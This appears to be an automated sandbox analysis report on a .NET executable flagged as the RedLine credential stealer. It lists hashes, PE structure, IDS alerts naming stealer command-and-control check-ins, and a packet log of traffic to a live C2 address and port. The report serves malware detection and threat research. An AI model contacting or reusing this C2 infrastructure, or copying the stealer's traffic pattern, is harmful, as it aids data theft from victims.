File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.960717065640885
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	xI0ubnUcsV.exe
File size:	97'792 bytes
MD5:	65b74f187c506cf5c1fafde03e60e7df
SHA1:	cc637bd3264aa57c53eb2fc7de0f891ce5eb0648
SHA256:	e08c5b92f6cce3513d9a58de856f9bceca56ad1fb4eea32e182f837b566c6d33
SHA512:	787f52f19847bed7da266cd16948d4935ed4089eb0df4817054a67324e3855514687e6e58f61b321f1d2975fe1e747bc11ff07a78edb6bfedc2cbe3fb2d090ff
SSDEEP:	1536:Nqs+iqeHlbG6jejoigIH43Ywzi0Zb78ivombfexv0ujXyyed2pteulgS6pIl:7VpVYH+zi0ZbYe1g0ujyzd9I
TLSH:	EEA35D30679C9F19EAFD1B74B4B2012043F1E08A9091FB4A4DC194E61FA7B866957EF2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t..........>.... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x41933e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x192f0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a000	0x4de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x17344	0x17400	83e376a6aed26fa94620f76c2c5819e7	False	0.44878822244623656	data	6.015748132622343	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1a000	0x4de	0x600	e3145af1e7dfa1e41fe7799ae002b612	False	0.3756510416666667	data	3.723940100220831	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0xc	0x200	89ebbf373068a00e5c68d2ac72a26374	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1a0a0	0x254	data			0.4597315436241611
RT_MANIFEST	0x1a2f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-26T08:22:09.374023+0100	1800000	Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect	1	192.168.2.4	49731	23.27.201.57	62529	TCP
2025-01-26T08:22:09.374023+0100	2849662	ETPRO MALWARE RedLine - CheckConnect Request	1	192.168.2.4	49731	23.27.201.57	62529	TCP
2025-01-26T08:22:14.399347+0100	2045000	ET MALWARE RedLine Stealer - CheckConnect Response	1	23.27.201.57	62529	192.168.2.4	49731	TCP
2025-01-26T08:22:14.717811+0100	2849351	ETPRO MALWARE RedLine - EnvironmentSettings Request	1	192.168.2.4	49731	23.27.201.57	62529	TCP
2025-01-26T08:22:17.208112+0100	2045001	ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound	1	23.27.201.57	62529	192.168.2.4	49731	TCP
2025-01-26T08:22:17.619106+0100	2849352	ETPRO MALWARE RedLine - SetEnvironment Request	1	192.168.2.4	49733	23.27.201.57	62529	TCP
2025-01-26T08:22:19.992330+0100	2848200	ETPRO MALWARE RedLine - GetUpdates Request	1	192.168.2.4	49734	23.27.201.57	62529	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 26, 2025 08:22:08.531647921 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:08.536756992 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:08.536837101 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:08.554395914 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:08.559159994 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:08.905534983 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:08.911391973 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:09.328535080 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:09.374022961 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:14.394156933 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:14.394190073 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:14.399347067 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.399521112 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.663055897 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.717811108 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:14.841710091 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.841759920 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.841795921 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.841830015 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.841864109 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.841897964 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.841926098 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:14.841926098 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:14.841933012 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.841943026 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:14.841968060 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.842003107 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.842015028 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:14.842036009 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.842072964 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:14.842081070 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:14.889699936 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:14.899369001 CET	49732	443	192.168.2.4	172.67.75.172
Jan 26, 2025 08:22:14.899415970 CET	443	49732	172.67.75.172	192.168.2.4
Jan 26, 2025 08:22:14.899609089 CET	49732	443	192.168.2.4	172.67.75.172
Jan 26, 2025 08:22:14.908555984 CET	49732	443	192.168.2.4	172.67.75.172
Jan 26, 2025 08:22:14.908581018 CET	443	49732	172.67.75.172	192.168.2.4
Jan 26, 2025 08:22:15.398406982 CET	443	49732	172.67.75.172	192.168.2.4
Jan 26, 2025 08:22:15.398503065 CET	49732	443	192.168.2.4	172.67.75.172
Jan 26, 2025 08:22:15.404030085 CET	49732	443	192.168.2.4	172.67.75.172
Jan 26, 2025 08:22:15.404109001 CET	443	49732	172.67.75.172	192.168.2.4
Jan 26, 2025 08:22:15.404603958 CET	443	49732	172.67.75.172	192.168.2.4
Jan 26, 2025 08:22:15.450046062 CET	49732	443	192.168.2.4	172.67.75.172
Jan 26, 2025 08:22:15.491409063 CET	443	49732	172.67.75.172	192.168.2.4
Jan 26, 2025 08:22:15.809771061 CET	443	49732	172.67.75.172	192.168.2.4
Jan 26, 2025 08:22:15.809977055 CET	443	49732	172.67.75.172	192.168.2.4
Jan 26, 2025 08:22:15.810355902 CET	49732	443	192.168.2.4	172.67.75.172
Jan 26, 2025 08:22:15.812361002 CET	49732	443	192.168.2.4	172.67.75.172
Jan 26, 2025 08:22:17.202775955 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.203061104 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.207987070 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.208060026 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.208112001 CET	62529	49731	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.208250046 CET	49731	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.208620071 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.213540077 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.561733961 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.567003965 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.567039967 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.567059994 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.567066908 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.567074060 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.567094088 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.567106962 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.567145109 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.567172050 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.567188025 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.567198992 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.567228079 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.567228079 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.567240000 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.567256927 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.567271948 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.567285061 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.567334890 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.572341919 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.572371006 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.572396994 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.572397947 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.572422981 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.572427034 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.572448969 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.572457075 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.572474957 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.572484016 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.572509050 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.572527885 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.618983984 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.619106054 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.670938969 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.670998096 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.718857050 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.718925953 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.759123087 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.759272099 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764200926 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764270067 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764364004 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764393091 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764413118 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764420986 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764439106 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764448881 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764467955 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764499903 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764528036 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764549971 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764554977 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764570951 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764583111 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764605999 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764610052 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764635086 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764637947 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764663935 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764664888 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764677048 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764692068 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764713049 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764729977 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764741898 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764770031 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764796019 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764796972 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764816999 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764822006 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764849901 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764849901 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764877081 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764878988 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764895916 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764933109 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764931917 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764961004 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.764986992 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.764986992 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.765007973 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.765017986 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.765039921 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.765065908 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.765072107 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.765094042 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.765117884 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.765120983 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.765135050 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.765149117 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.765177011 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.765186071 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.765227079 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770145893 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770174026 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770200968 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770201921 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770221949 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770236969 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770252943 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770283937 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770283937 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770318031 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770329952 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770365000 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770395994 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770409107 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770431042 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770457029 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770477057 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770498991 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770530939 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770579100 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770584106 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770606041 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770627975 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770639896 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770658016 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770687103 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770715952 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770765066 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770803928 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770831108 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770857096 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770864010 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770881891 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770912886 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770915031 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770946026 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.770965099 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770983934 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.770992994 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771020889 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771045923 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771074057 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771075010 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771102905 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771120071 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771131039 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771152020 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771157980 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771176100 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771203041 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771205902 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771234989 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771260977 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771282911 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771286964 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771296978 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771338940 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771341085 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771389961 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771392107 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771419048 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771442890 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771445036 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771465063 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771472931 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771493912 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771501064 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771518946 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771528006 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771547079 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771553993 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771579027 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771591902 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771601915 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771630049 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771653891 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771656036 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771677971 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771683931 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.771704912 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.771733046 CET	49733	62529	192.168.2.4	23.27.201.57
Jan 26, 2025 08:22:17.774705887 CET	62529	49733	23.27.201.57	192.168.2.4
Jan 26, 2025 08:22:17.774734974 CET	62529	49733	23.27.201.57	192.168.2.4
